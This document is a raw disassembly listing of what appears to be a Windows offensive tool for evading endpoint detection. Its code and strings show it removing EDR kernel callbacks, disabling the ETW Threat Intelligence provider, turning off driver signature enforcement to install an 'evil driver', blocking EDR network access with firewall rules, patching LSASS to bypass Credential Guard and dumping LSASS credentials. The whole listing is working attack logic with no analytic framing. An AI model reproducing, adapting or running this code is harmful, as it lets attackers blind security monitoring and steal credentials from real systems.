call fcn.140008660
mov edi, eax
lea rcx, [0x140036cd8]
or edi, ebx
mov dword [rsp + 0x74], edi
call fcn.1400184e0
lea rcx, str.___Checking_if_EDR_callbacks_are_registered_on_processes_and_threads_handle_creation_duplication...
call fcn.1400184e0
mov rcx, rsi
call fcn.140007b20
mov ebx, eax
mov dword [rbp - 0x78], eax
lea rax, str.present
test ebx, ebx
lea rdx, str.not_found
cmovne rdx, rax
lea rcx, str.____ObjectCallblacks__tObject_callbacks_are__s___n
call fcn.140001010
xor ecx, ecx
test edi, edi
sete cl
xor r14d, r14d
test ebx, ebx
cmove r14d, ecx
lea rcx, [0x140036cd8]
call fcn.1400184e0
lea rcx, str.____ETWTI__tChecking_the_ETW_Threat_Intelligence_Provider_state...
call fcn.1400184e0
mov ecx, dword [rsp + 0x58]
call fcn.140007f20
mov rdi, rax
test rax, rax
jne 0x1400023f5
lea rdx, str.DISABLED
mov dword [rsp + 0x5c], edi
lea rcx, str.____ETWTI__tETW_Threat_Intelligence_Provider_is__s__n
call fcn.140001010
lea rcx, [0x140036cd8]
call fcn.1400184e0
jmp 0x140002564
lea rsi, [rbp - 0x30]
mov rbx, r12
movabs rcx, 0x800000000000
movabs rax, 0xffff800000000000
xor edx, edx
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x70], rdx
xorps xmm0, xmm0
mov dword [rbp - 0x60], edx
mov dword [rbp - 0x44], edx
movdqu xmmword [rbp - 0x54], xmm0
cmp rbx, 4
jb 0x140002437
mov dword [rbp - 0x58], 4
jmp 0x14000244d
cmp rbx, 2
sbb eax, eax
add eax, 2
mov dword [rbp - 0x58], eax
movabs rax, 0xffff800000000000
mov dword [rbp - 0x5c], edx
cmp rdi, rcx
jb 0x140003671
cmp rdi, rax
jb 0x140003659
call fcn.140005690
mov rcx, rax
mov qword [rsp + 0x38], 0
lea rax, [rbp - 0x2c]
mov r9d, 0x30
mov qword [rsp + 0x30], rax
lea r8, [rbp - 0x70]
lea rax, [rbp - 0x70]
mov dword [rsp + 0x28], 0x30
mov edx, 0x80002048
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov eax, dword [rbp - 0x58]
add rdi, rax
cmp rbx, 4
jb 0x1400024b5
mov eax, dword [rbp - 0x54]
mov dword [rsi], eax
jmp 0x1400024ca
cmp rbx, 2
jb 0x1400024c4
movzx eax, word [rbp - 0x54]
mov word [rsi], ax
jmp 0x1400024ca
movzx eax, byte [rbp - 0x54]
mov byte [rsi], al
mov eax, dword [rbp - 0x58]
movabs rcx, 0x800000000000
add rsi, rax
sub rbx, rax
movabs rax, 0xffff800000000000
jne 0x140002410
xor edi, edi
lea rax, str.ENABLED
cmp byte [rbp - 0x30], r12b
lea rdx, str.DISABLED
lea rcx, str.____ETWTI__tETW_Threat_Intelligence_Provider_is__s__n
sete dil
test edi, edi
mov dword [rsp + 0x5c], edi
cmovne rdx, rax
call fcn.140001010
lea rcx, [0x140036cd8]
call fcn.1400184e0
mov rsi, qword [rbp - 0x38]
test edi, edi
je 0x140002564
xor r14d, r14d
mov dword [rsp + 0x5c], edi
jmp 0x140002564
lea rcx, str.____The_offsets_must_be_computed_using_the_provided_script_and_added_to_the_offsets_CSV_file._Aborting..._n
call fcn.1400184e0
jmp 0x140003619
lea rdx, [rbp + 0x2b0]
lea rcx, str.____Required_driver_file_not_present_at__s_nExiting..._n
jmp 0x140003614
mov rsi, qword [rbp - 0x38]
mov edi, dword [rsp + 0x5c]
mov ebx, dword [rsp + 0x54]
cmp ebx, 3
je 0x140003539
test r14d, r14d
je 0x140003265
mov r14d, dword [rsp + 0x64]
test r15d, r15d
jne 0x14000258d
test r14d, r14d
je 0x140003265
lea rcx, str.___Process_is__safe__to_launch_our_payload_n
call fcn.1400184e0
test ebx, ebx
je 0x140002fd7
sub ebx, r12d
je 0x140002f50
sub ebx, r12d
je 0x1400029de
sub ebx, 2
je 0x140002947
cmp ebx, r12d
jne 0x14000262b
lea rcx, [rbp + 0x1100]
mov rax, r13
nop dword [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x1400025d0
test rax, rax
jne 0x140002607
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x1100]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rdx, str.CiOffsets.csv
lea rcx, [rbp + 0x1100]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
mov edx, dword [rsp + 0x60]
lea rcx, [rbp + 0x1100]
call fcn.140008c90
test eax, eax
jne 0x140002641
lea rcx, str.____The_offsets_must_be_computed_using_the_provided_script_and_added_to_the_offsets_CSV_file__or_use___internet_._Unsigned_driver_wont_be_loaded_..._n
call fcn.1400184e0
mov dword [rbp - 0x40], r12d
mov r15d, dword [rsp + 0x50]
lea rcx, [0x140036cd8]
call fcn.1400184e0
jmp 0x14000353e
lea rcx, [0x140036cd8]
call fcn.1400184e0
mov r15d, dword [rsp + 0x50]
test r15d, r15d
jne 0x14000266c
lea rcx, [0x140036cd8]
mov dword [rbp - 0x40], r12d
call fcn.1400184e0
jmp 0x14000353e
lea rcx, [rbp + 0x8e0]
mov rax, r13
inc rax
cmp word [rcx + rax*2], 0
jne 0x140002676
test rax, rax
jne 0x1400026aa
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x8e0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x8e0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, [rbp + 0x8e0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000291f
test al, 0x10
jne 0x14000291f
xor r9d, r9d
mov qword [rbp - 0x38], 8
lea rdx, [rbp - 0x38]
lea r8d, [r9 + 8]
lea ecx, [r9 + 0x67]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
test eax, eax
jns 0x1400026f7
mov edx, eax
lea rcx, str.____Failed_to_query_code_integrity_status:__08X_n
call fcn.140001070
mov edi, dword [rbp - 0x34]
mov r14d, dword [rsp + 0x68]
and edi, 3
cmp edi, r12d
jne 0x140002741
mov edx, dword [rsp + 0x58]
mov ecx, r14d
call fcn.140003770
test eax, eax
jne 0x140002738
lea rcx, str.____DSE_could_not_have_been_disabled__aborting_..._n
call fcn.1400184e0
lea rcx, [0x140036cd8]
mov dword [rbp - 0x40], r12d
call fcn.1400184e0
jmp 0x14000353e
lea rcx, str.___DSE_is_now_disabled
jmp 0x140002748
lea rcx, str.____CI_is_already_disabled__n
call fcn.1400184e0
lea rdx, [rbp - 0x38]
mov qword [rbp - 0x38], 0
lea rcx, [rbp + 0x8e0]
call fcn.140003a40
test eax, eax
je 0x1400027c7
lea rcx, str.___Evil_driver_is_already_running__n
call fcn.1400184e0
mov rcx, qword [0x140055268]
test rcx, rcx
je 0x140002786
call fcn.1400183e4
mov rcx, qword [rbp - 0x38]
call fcn.140011e48
mov qword [0x140055268], rax
test rax, rax
jne 0x1400027a7
lea rcx, str.____Error_while_attempting_to_set_the_service_name.
call fcn.1400184e0
cmp edi, r12d
jne 0x140002630
test r14d, r14d
je 0x1400028ad
cmp r14d, r12d
jne 0x140003689
jmp 0x140002866
lea rcx, str.___Installing_evil_driver...
call fcn.1400184e0
call fcn.140003d40
lea r8, [rbp + 0x8e0]
mov rdx, rax
mov rcx, rax
call fcn.14000a750
mov esi, eax
cmp eax, 5
jne 0x14000281e
lea rcx, str.____0x00000005___Access_Denied_when_attempting_to_install_the_driver___Did_you_run_as_administrator_
call fcn.1400184e0
call fcn.140003d40
mov rbx, rax
call fcn.140003d40
mov rdx, rax
lea rcx, str.____The_evil_service_should_be_manually_deleted_when_you_are_done_with_it:__ncmd__c_sc_stop__s_ncmd__c_sc_delete__s_n
mov r8, rbx
call fcn.140001010
jmp 0x140002845
call fcn.140003d40
mov rbx, rax
call fcn.140003d40
mov rdx, rax
lea rcx, str.____The_evil_service_should_be_manually_deleted_when_you_are_done_with_it:__ncmd__c_sc_stop__s_ncmd__c_sc_delete__s_n
mov r8, rbx
call fcn.140001010
test esi, esi
je 0x1400027a7
lea rcx, str.____An_error_occurred_while_installing_the_evil_driver
call fcn.1400184e0
lea rcx, [0x140036cd8]
mov dword [rbp - 0x40], r12d
call fcn.1400184e0
jmp 0x14000353e
mov rbx, qword [0x140055270]
call fcn.140009c30
mov rdx, qword [0x1400536b0]
mov rcx, rbx
add rdx, rax
call fcn.14000a5f0
lea rcx, str.___Successfully_reenabled_DSE_by_restoring_Ci_CiValidateImageHeader_entry_in_SeCiCallbacks_n
call fcn.140001010
lea rcx, str.___DSE_is_enabled_again
call fcn.1400184e0
lea rcx, [0x140036cd8]
call fcn.1400184e0
jmp 0x14000353e
cmp qword [0x1400536a8], 0
mov edi, dword [0x140055278]
jne 0x1400028c1
xor eax, eax
jmp 0x1400028fa
call fcn.140009c30
test rax, rax
jne 0x1400028db
lea rcx, str.____CI_base_address_not_found___n
call fcn.1400184e0
xor eax, eax
jmp 0x1400028fa
mov rbx, qword [0x1400536a8]
add rbx, rax
mov rcx, rbx
call fcn.140009e80
mov edx, edi
mov rcx, rbx
call fcn.14000a490
mov eax, r12d
test eax, eax
jne 0x140002890
lea rcx, str.____DSE_could_not_have_been_re_enabled__WARNING:_this_might_trigger_a_PatchGuard_BSoD_in_the_following_minutes..._n
call fcn.1400184e0
lea rcx, [0x140036cd8]
mov dword [rbp - 0x40], r12d
call fcn.1400184e0
jmp 0x14000353e
lea rdx, [rbp + 0x8e0]
lea rcx, str.____Required_driver_file_not_present_at__s_nExiting..._n
call fcn.140001010
lea rcx, [0x140036cd8]
mov dword [rbp - 0x40], r12d
call fcn.1400184e0
jmp 0x14000353e
lea rcx, str.___Configuring_Windows_Firewall_rules_to_block_EDR_network_access..._n
mov qword [rbp - 0x38], 0
call fcn.140001010
lea rcx, [rbp - 0x38]
call fcn.140007280
test eax, eax
lea rdx, str.___Successfully_configured_Windows_Firewall_rules_to_block_EDR_network_access__n
lea rcx, str.____An_error_occured_while_attempting_to_create_Firewall_rules__n
cmovns rcx, rdx
call fcn.140001010
lea rcx, [0x140037548]
call fcn.140001010
lea rcx, str.___The_Firewall_blocking_rules_created_can_be_manually_deleted_using_the_following_commands:
call fcn.1400184e0
mov rbx, qword [rbp - 0x38]
test rbx, rbx
je 0x14000262b
nop dword [rax]
nop word [rax + rax]
mov rdx, qword [rbx + 8]
lea rcx, str.netsh_advfirewall_firewall_delete_rule_name_s_n
call fcn.140001010
mov rdx, qword [rbx + 0x10]
lea rcx, str.netsh_advfirewall_firewall_delete_rule_name_s_n
call fcn.140001010
mov rbx, qword [rbx + 0x18]
test rbx, rbx
jne 0x1400029b0
jmp 0x14000262b
lea rcx, [rbp + 0xaf0]
mov rax, r13
nop dword [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x1400029f0
test rax, rax
jne 0x140002a59
movups xmm0, xmmword [str.WdigestOffsets.csv]
mov r9d, 0x104
lea r8, [rbp + 0x4c0]
movups xmm1, xmmword [0x140037fb8]
mov edx, r9d
lea rcx, [rbp + 0xaf0]
movups xmmword [rbp - 0x70], xmm0
movsd xmm0, qword [0x140037fc8]
movsd qword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x60], xmm1
call fcn.140012fc8
mov r9d, 0x14
lea r8, [rbp - 0x70]
mov edx, 0x104
lea rcx, [rbp + 0xaf0]
call fcn.140012fc8
lea rcx, [rbp + 0xaf0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140002bf6
test al, 0x10
jne 0x140002bf6
lea rcx, str.___Loading_wdigest_related_offsets_from_the_CSV_file
call fcn.1400184e0
call fcn.1400058a0
mov rdx, rax
lea rcx, str.___Systems_wdigest.dll_file_version_is:__s_n
mov rbx, rax
call fcn.140001010
xor r14d, r14d
lea r8, [0x14003eb8c]
lea rdx, [rbp + 0xaf0]
mov qword [rbp - 0x38], r14
lea rcx, [rbp - 0x38]
call fcn.140019108
mov r8, qword [rbp - 0x38]
test r8, r8
jne 0x140002ad2
lea rcx, [0x14003eb90]
call fcn.1400184e0
jmp 0x140002bd6
mov edx, 0x800
lea rcx, [rbp + 0x1870]
call fcn.140019750
test rax, rax
je 0x140002bcd
nop dword [rax]
lea rcx, [rbp + 0x1870]
call fcn.140011e48
lea r8, [rbp - 0x80]
mov qword [rbp - 0x80], r14
lea rdx, [0x14003ec30]
mov rcx, rax
call fcn.140019644
mov r8, rax
lea rcx, [rbp + 0x1670]
mov edx, 0x100
call fcn.140018148
lea r8, [rbp + 0x1670]
mov rax, rbx
sub r8, rbx
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140002b48
add rax, 2
test ecx, ecx
jne 0x140002b34
test edx, edx
je 0x140002b68
mov r8, qword [rbp - 0x38]
lea rcx, [rbp + 0x1870]
mov edx, 0x800
call fcn.140019750
test rax, rax
jne 0x140002af0
jmp 0x140002bcd
mov rdx, rbx
lea rcx, str.___Offsets_are_available_for_this_version_of_wdigest.dll___s___n
call fcn.140001010
lea r8, [rbp - 0x80]
xor ecx, ecx
lea rdx, [0x14003ec30]
call fcn.140019644
mov rcx, rax
lea rdx, [rbp - 0x78]
mov r8d, 0x10
call fcn.14001931c
lea r8, [rbp - 0x80]
mov qword [0x140052e20], rax
lea rdx, [0x14003ec30]
xor ecx, ecx
call fcn.140019644
mov rcx, rax
lea rdx, [rbp - 0x78]
mov r8d, 0x10
call fcn.14001931c
mov qword [0x140052e28], rax
mov rcx, qword [rbp - 0x38]
call fcn.140019284
cmp qword [0x140052e20], r14
je 0x140002be8
cmp qword [0x140052e28], r14
jne 0x140002bf9
lea rcx, str.____Offsets_are_missing_from_the_CSV_for_the_version_of_wdigest_in_use.
call fcn.1400184e0
jmp 0x140002bf9
xor r14d, r14d
cmp dword [rsp + 0x60], 0
je 0x140002e63
cmp qword [0x140052e20], 0
je 0x140002c1c
cmp qword [0x140052e28], 0
jne 0x140002e63
lea rcx, str.___Downloading_wdigest_related_offsets_from_the_MS_Symbol_Server__will_drop_a_.pdb_file_in_current_directory_
call fcn.1400184e0
call fcn.1400057f0
mov rcx, rax
call fcn.140004410
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.1400097c0
mov rcx, rax
mov rdi, rax
call fcn.14000b280
mov rcx, qword [rdi + 0x80]
mov rbx, rax
test rcx, rcx
je 0x140002c68
call fcn.1400183e4
mov qword [rdi + 0x80], r14
mov rcx, rdi
call fcn.1400183e4
mov rcx, rsi
call fcn.1400183e4
test rbx, rbx
je 0x140002d73
xor edx, edx
lea rcx, [rbp + 0x1870]
mov r8d, 0x830
call fcn.14000e900
mov rdx, qword [rbx + 8]
lea r9, [rbp + 0x1870]
mov rcx, qword [rbx + 0x10]
lea r8, str.g_fParameter_UseLogonCredential
mov dword [rbp + 0x1870], 0x58
mov dword [rbp + 0x18c0], 0x7d1
call qword [sym.imp.dbghelp.dll_SymGetTypeFromName]
test eax, eax
je 0x140002cd6
mov rax, qword [rbp + 0x18a8]
sub rax, qword [rbx + 8]
jmp 0x140002cd9
mov rax, r14
xor edx, edx
mov qword [0x140052e20], rax
mov r8d, 0x830
lea rcx, [rbp + 0x1870]
call fcn.14000e900
mov rdx, qword [rbx + 8]
lea r9, [rbp + 0x1870]
mov rcx, qword [rbx + 0x10]
lea r8, str.g_IsCredGuardEnabled
mov dword [rbp + 0x1870], 0x58
mov dword [rbp + 0x18c0], 0x7d1
call qword [sym.imp.dbghelp.dll_SymGetTypeFromName]
test eax, eax
je 0x140002d35
mov rax, qword [rbp + 0x18a8]
sub rax, qword [rbx + 8]
jmp 0x140002d38
mov rax, r14
mov rdx, qword [rbx + 8]
mov rcx, qword [rbx + 0x10]
mov qword [0x140052e28], rax
call qword [sym.imp.dbghelp.dll_SymUnloadModule64]
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.dbghelp.dll_SymCleanup]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rbx]
call fcn.1400183e4
mov rcx, rbx
mov qword [rbx], r14
call fcn.1400183e4
cmp qword [0x140052e20], 0
je 0x140002e57
cmp qword [0x140052e28], 0
je 0x140002e57
lea rcx, str.___Downloading_offsets_succeeded__
call fcn.1400184e0
lea rcx, [rbp + 0xaf0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140002e63
test al, 0x10
jne 0x140002e63
lea rcx, str.___Saving_them_to_the_CSV_file...
call fcn.1400184e0
call fcn.1400058a0
lea r8, [0x14003ecc4]
mov qword [rbp - 0x80], r14
lea rdx, [rbp + 0xaf0]
mov rbx, rax
lea rcx, [rbp - 0x80]
call fcn.140019108
mov rcx, qword [rbp - 0x80]
test rcx, rcx
jne 0x140002dfa
lea rcx, str.____Offset_CSV_file_connot_be_opened
jmp 0x140002e5e
mov r8, rbx
lea rdx, [0x14003627c]
call fcn.140005740
lea rbx, [0x140052e20]
lea rdi, [0x140052e30]
nop word [rax + rax]
mov r8, qword [rbx]
lea rdx, str.__llx
mov rcx, qword [rbp - 0x80]
call fcn.140005740
add rbx, 8
cmp rbx, rdi
jl 0x140002e20
mov rdx, qword [rbp - 0x80]
lea rcx, [0x140037548]
call fcn.1400194a0
mov rcx, qword [rbp - 0x80]
call fcn.140019284
jmp 0x140002e63
lea rcx, str.____Downloading_offsets_from_the_internet_failed__
call fcn.1400184e0
cmp qword [0x140052e20], 0
je 0x140002f44
cmp qword [0x140052e28], 0
je 0x140002f44
lea rcx, [0x140036cd8]
call fcn.1400184e0
mov r15d, dword [rsp + 0x50]
test r15d, r15d
je 0x140002efd
lea rcx, str.___Self_protect_our_current_process_as_Light_WinTcb_PsProtectedSignerWinTcb___Light__if_PPL_are_supported_by_the_OS_Offset_of__PS_PROTECTION_exists_._This_will_allow_lsass_access_is_RunAsPPL_is_enabled
call fcn.1400184e0
cmp qword [0x140053258], 0
je 0x140002efd
mov ecx, dword [rsp + 0x58]
call fcn.140008480
mov rbx, rax
test rax, rax
jne 0x140002eca
lea rcx, str.____ERROR:_could_not_find_the_EPROCCES_struct_of_the_current_process_to_self_protect
call fcn.1400184e0
jmp 0x140002efd
mov rdx, rbx
lea rcx, str.____ProcessProtection__Found_self_process_EPROCCES_struct_at_0x_I64x_n
call fcn.140001010
add rbx, qword [0x140053258]
lea rcx, str.____ProcessProtection__Protecting_own_process_by_setting_the_EPROCESSs_ProtectionLevel__at_0x_I64x__to_0x_hx__PS_PROTECTED_WINTCB_LIGHT__n
mov rdx, rbx
mov r8d, 0x61
call fcn.140001010
mov rcx, rbx
call fcn.14000a310
call fcn.140003dc0
test eax, eax
je 0x140002f23
lea rcx, str.___LSASS_was_patched_and_Credential_Guard_should_be_bypassed_for_future_logins_on_the_system.
call fcn.1400184e0
lea rcx, [0x140036cd8]
call fcn.1400184e0
jmp 0x14000353e
lea rcx, str.____LSASS_couldnt_be_patched_and_Credential_Guard_will_not_be_bypassed.
call fcn.1400184e0
lea rcx, [0x140036cd8]
mov dword [rbp - 0x40], r12d
call fcn.1400184e0
jmp 0x14000353e
lea rcx, str.____The_offsets_must_be_computed_using_the_provided_script_and_added_to_the_offsets_CSV_file._LSASS_wont_be_patched..._n
jmp 0x140002622
lea rcx, str.___Kernel_callbacks_have_normally_been_removed__starting_cmd.exe_nWARNING:_EDR_kernel_callbacks_will_be_restored_after_exiting_the_cmd_prompt__by_typing_exit__nWARNING:_While_unlikely__the_longer_the_callbacks_are_removed__the_higher_the_chance_of_being_detected___causing_a_BSoD_upon_restore_is__n
call fcn.1400184e0
xor edx, edx
lea rcx, [rbp + 0x1310]
mov r8d, 0x208
call fcn.14000e900
mov edx, 0x104
lea rcx, [rbp + 0x1310]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor edx, edx
lea rcx, [rbp + 0xd00]
mov r8d, 0x208
call fcn.14000e900
lea r8, [rbp + 0x1310]
mov edx, 0x104
lea rcx, [rbp + 0xd00]
call fcn.1400181b0
lea r8, str.cmd.exe
mov edx, 0x104
lea rcx, [rbp + 0xd00]
call fcn.1400181b0
lea rcx, [rbp + 0xd00]
call fcn.140018228
jmp 0x14000262b
mov r15d, dword [rsp + 0x50]
test r15d, r15d
je 0x140003049
cmp qword [0x140053258], 0
je 0x140003049
lea rcx, str._n___RunPPL_bypass:_Self_protect_our_current_process_as_Light_WinTcb_PsProtectedSignerWinTcb___Light__since_PPL_is_supported_by_the_OS._This_will_allow_access_to_LSASS_if_RunAsPPL_is_enabled
call fcn.1400184e0
mov ecx, dword [rsp + 0x58]
call fcn.140008480
mov rbx, rax
test rax, rax
jne 0x140003016
lea rcx, str.____ERROR:_could_not_find_the_EPROCCES_struct_of_the_current_process_to_self_protect
call fcn.1400184e0
jmp 0x140003049
mov rdx, rbx
lea rcx, str.____ProcessProtection__Found_self_process_EPROCCES_struct_at_0x_I64x_n
call fcn.140001010
add rbx, qword [0x140053258]
lea rcx, str.____ProcessProtection__Protecting_own_process_by_setting_the_EPROCESSs_ProtectionLevel__at_0x_I64x__to_0x_hx__PS_PROTECTED_WINTCB_LIGHT__n
mov rdx, rbx
mov r8d, 0x61
call fcn.140001010
mov rcx, rbx
call fcn.14000a310
lea rcx, str.___Attempting_to_dump_the_process
call fcn.1400184e0
lea rcx, [rbp + 0xa0]
mov rax, r13
nop
inc rax
cmp word [rcx + rax*2], 0
jne 0x140003060
test rax, rax
jne 0x1400030d6
lea rcx, [rbp + 0x50]
call fcn.140011e48
mov rcx, rax
mov rbx, rax
call qword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
lea r8, [rbp + 0x4c0]
mov edx, 0x104
lea rcx, [rbp + 0xa0]
call fcn.1400181b0
lea r8, [0x140037df8]
mov edx, 0x104
lea rcx, [rbp + 0xa0]
call fcn.1400181b0
mov r8, rbx
lea rcx, [rbp + 0xa0]
mov edx, 0x104
call fcn.1400181b0
test rbx, rbx
je 0x14000318a
jmp 0x140003182
lea rcx, [rbp + 0xa0]
call qword [sym.imp.SHLWAPI.dll_PathIsRelativeW]
test eax, eax
je 0x14000318a
lea rcx, [rbp + 0xa0]
mov rax, r13
inc rax
cmp word [rcx + rax*2], 0
jne 0x1400030f5
lea rdx, [rbp + 0x4c0]
mov rcx, r13
nop dword [rax]
cmp word [rdx + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x140003110
lea rdi, [rcx + 2]
mov edx, 2
add rdi, rax
mov rcx, rdi
call fcn.1400119fc
mov rbx, rax
test rax, rax
je 0x14000319f
lea r8, [rbp + 0x4c0]
mov rdx, rdi
mov rcx, rax
call fcn.1400181b0
lea r8, [0x140037df8]
mov rdx, rdi
mov rcx, rbx
call fcn.1400181b0
lea r8, [rbp + 0xa0]
mov rdx, rdi
mov rcx, rbx
call fcn.1400181b0
mov r8, rbx
lea rcx, [rbp + 0xa0]
mov edx, 0x104
call fcn.140018148
mov rcx, rbx
call fcn.1400183e4
mov edx, 8
lea ecx, [rdx - 6]
call fcn.1400119fc
mov rbx, rax
test rax, rax
jne 0x1400031c0
lea rcx, str.____A_fatal_error_occurred_while_allocating_memory_for_thread_arguments
call fcn.1400184e0
lea rcx, [0x140036cd8]
mov dword [rbp - 0x40], r12d
call fcn.1400184e0
jmp 0x14000353e
lea rax, [rbp + 0x50]
xor edx, edx
mov qword [rbx], rax
xor ecx, ecx
lea rax, [rbp + 0xa0]
mov r9, rbx
mov qword [rbx + 8], rax
test r14d, r14d
je 0x1400031f2
xor esi, esi
lea r8, [0x140005680]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
jmp 0x140003204
xor eax, eax
lea r8, [0x140008470]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
je 0x14000323c
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rbp - 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [rbp - 0x40], 0
je 0x14000324c
lea rcx, str.____A_fatal_error_occurred_during_the_LSASS_dump___execution_of_cmd.exe
jmp 0x140003243
lea rcx, str.____An_error_occurred_while_attempting_to_start_the_new_thread...
call fcn.1400184e0
mov dword [rbp - 0x40], r12d
mov rcx, rbx
call fcn.1400183e4
lea rcx, [0x140036cd8]
call fcn.1400184e0
jmp 0x14000353e
call fcn.1400010d0
test eax, eax
jne 0x14000369e
lea rcx, str.___Process_is_NOT__safe__to_launch_our_payload__removing_monitoring_and_starting_another_process..._n
call fcn.1400184e0
test edi, edi
je 0x140003299
mov ecx, dword [rsp + 0x58]
xor edx, edx
call fcn.140007fa0
lea rcx, [0x140036cd8]
call fcn.1400184e0
mov r14d, dword [rsp + 0x74]
test r14d, r14d
je 0x1400032c3
lea rcx, str.___Removing_kernel_callbacks_registered_by_EDR_for_process_creation__thread_creation_and_image_loading...
call fcn.1400184e0
mov rcx, rsi
call fcn.1400088d0
lea rcx, [0x140036cd8]
call fcn.1400184e0
mov r15d, dword [rbp - 0x78]
test r15d, r15d
je 0x140003361
lea rcx, str.___Disabling_kernel_callbacks_registered_by_EDR_for_process_and_thread_opening_or_handle_duplication...
call fcn.1400184e0
cmp qword [0x140053278], 0
je 0x140003349
cmp qword [0x140053280], 0
je 0x140003349
cmp qword [0x140053288], 0
je 0x140003349
xor edi, edi
cmp qword [rsi], rdi
jbe 0x140003355
lea rbx, [rsi + 0x38]
cmp dword [rbx - 0x30], r12d
jne 0x14000333b
cmp dword [rbx], 0
jne 0x14000333b
mov r8, qword [rbx - 0x28]
lea rdx, str.Disabling
lea rcx, str.____ObjectCallblacks__t_s__s_callback..._n
call fcn.140001010
mov rcx, qword [rbx - 0x20]
xor edx, edx
call fcn.14000a490
xor eax, eax
cmp dword [rbx], eax
sete al
mov dword [rbx], eax
inc rdi
add rbx, 0x38
cmp rdi, qword [rsi]
jb 0x140003305
jmp 0x140003355
lea rcx, str.Object_callback_offsets_not_loaded___Aborting...
call fcn.1400184e0
lea rcx, [0x140036cd8]
call fcn.1400184e0
lea rcx, str.___All_EDR_drivers_were_successfully_removed_from_Kernel_callbacks__n_n_nStarting_a_new_unmonitored_process..._n_n
call fcn.1400184e0
xorps xmm0, xmm0
mov dword [rbp - 0x20], 0x68
xor eax, eax
movups xmmword [rbp - 0x1c], xmm0
mov dword [rbp + 0x44], eax
movups xmmword [rbp - 0xc], xmm0
mov qword [rbp - 0x60], rax
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp + 0x14], xmm0
movups xmmword [rbp + 0x24], xmm0
movups xmmword [rbp + 0x34], xmm0
movups xmmword [rbp - 0x70], xmm0
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, qword [0x140051a60]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rbp - 0x20]
mov qword [0x140051a60], r13
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov rcx, qword [rcx]
xor eax, eax
mov qword [rsp + 0x38], rax
mov rdx, rbx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140003420
mov rcx, qword [rbp - 0x70]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140003430
lea rcx, str.____An_error_occured_while_trying_to_create_a_new_process
call fcn.1400184e0
mov dword [rbp - 0x40], r12d
lea rcx, [0x140037548]
call fcn.1400184e0
cmp dword [rbp - 0x80], r12d
jne 0x14000350d
test r14d, r14d
je 0x14000346b
lea rcx, str.___Restoring_EDRs_kernel_notify_routine_callbacks...
call fcn.1400184e0
mov rcx, rsi
call fcn.140008ab0
lea rcx, [0x140036cd8]
call fcn.1400184e0
test r15d, r15d
je 0x14000350d
lea rcx, str.___Restoring_EDRs_kernel_object_callbacks...
call fcn.1400184e0
cmp qword [0x140053278], 0
je 0x1400034f5
cmp qword [0x140053280], 0
je 0x1400034f5
cmp qword [0x140053288], 0
je 0x1400034f5
xor edi, edi
cmp qword [rsi], rdi
jbe 0x140003501
lea rbx, [rsi + 0x38]
nop dword [rax]
cmp dword [rbx - 0x30], r12d
jne 0x1400034e7
cmp dword [rbx], r12d
jne 0x1400034e7
mov r8, qword [rbx - 0x28]
lea rdx, str.Enabling
lea rcx, str.____ObjectCallblacks__t_s__s_callback..._n
call fcn.140001010
mov rcx, qword [rbx - 0x20]
mov edx, r12d
call fcn.14000a490
xor eax, eax
cmp dword [rbx], eax
sete al
mov dword [rbx], eax
inc rdi
add rbx, 0x38
cmp rdi, qword [rsi]
jb 0x1400034b0
jmp 0x140003501
lea rcx, str.Object_callback_offsets_not_loaded___Aborting...
call fcn.1400184e0
lea rcx, [0x140036cd8]
call fcn.1400184e0
cmp dword [rsp + 0x5c], 0
je 0x14000352c
mov ecx, dword [rsp + 0x58]
mov edx, r12d
call fcn.140007fa0
lea rcx, [0x140036cd8]
call fcn.1400184e0
test rsi, rsi
je 0x140003539
mov rcx, rsi
call fcn.1400183e4
mov r15d, dword [rsp + 0x50]
test r15d, r15d
je 0x1400035e4
cmp dword [rsp + 0x6c], 0
je 0x1400035e4
